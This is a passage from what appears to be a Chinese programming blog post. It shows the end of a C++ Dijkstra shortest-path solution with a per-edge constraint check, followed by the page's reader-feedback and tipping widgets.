dis[v] && c >= dis[u] + w) { dis[v] = dis[u] + w; q.push(make_pair(dis[v], v)); } } } } int main() { memset(head, -1, sizeof(head)); scanf("%d %d %d %d", &n, &m, &s, &t); for (int i = 1; i <= m; i++) { int u, v, w, c; scanf("%d %d %d %d", &u, &v, &w, &c); addEdge(u, v, w, c); addEdge(v, u, w, c); } dijkstra(); if (dis[t] == INF) printf("-1\n"); else printf("%d\n", dis[t]); return 0; } ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 24
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z.volcano

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值